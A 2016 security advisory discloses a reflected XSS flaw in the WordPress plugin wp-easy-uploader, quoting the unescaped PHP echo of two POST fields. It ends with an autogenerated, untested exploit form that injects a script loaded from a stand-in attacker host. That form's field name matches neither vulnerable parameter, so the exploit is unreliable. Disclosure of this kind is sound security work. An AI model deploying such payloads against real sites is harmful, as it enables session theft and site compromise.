Advisory #: 1384
Title: Reflected XSS in wordpress plugin wp-easy-uploader v1.0.11
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/wp-easy-uploader
Downloads: 96857
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: wp-easy-uploader
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./wp-easy-uploader/wp-easy-uploader.php: 318: <?php _e( 'From URL:', $this->_var ); ?> <input type="text" size="70" name="<?php echo $this->_var; ?>[uploadURL]" id="<?php echo $this->_var; ?>-uploadURL" value="<?php if ( $error ) echo $_POST[$this->_var]['uploadURL']; ?>" /> 341: <input type="text" name="<?php echo $this->_var; ?>[destinationPath]" size="30" value="<?php if ( isset( $_POST[$this->_var]['destinationPath'] ) ) echo $_POST[$this->_var]['destinationPath']; ?>" /><br /> The variables uploadURL and destinationPath appear to send unsanitized data back to the users browser via POST request.
CVE-ID: Not Released
File:./wp-easy-uploader/wp-easy-uploader.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. XSS POST exploit modified from http://blog.portswigger.net/2007/03/exploiting-xss-in-post-requests.html
  3. <form name=TheForm action=http://[target]/wp-content/plugins/wp-easy-uploader/wp-easy-uploader.php method=post> <input type=hidden name=name value=&quot;&gt;&lt;script&#32;src=http://attacker/bad.js&gt;&lt;/script&gt;> </form> <script> document.TheForm.submit(); </script>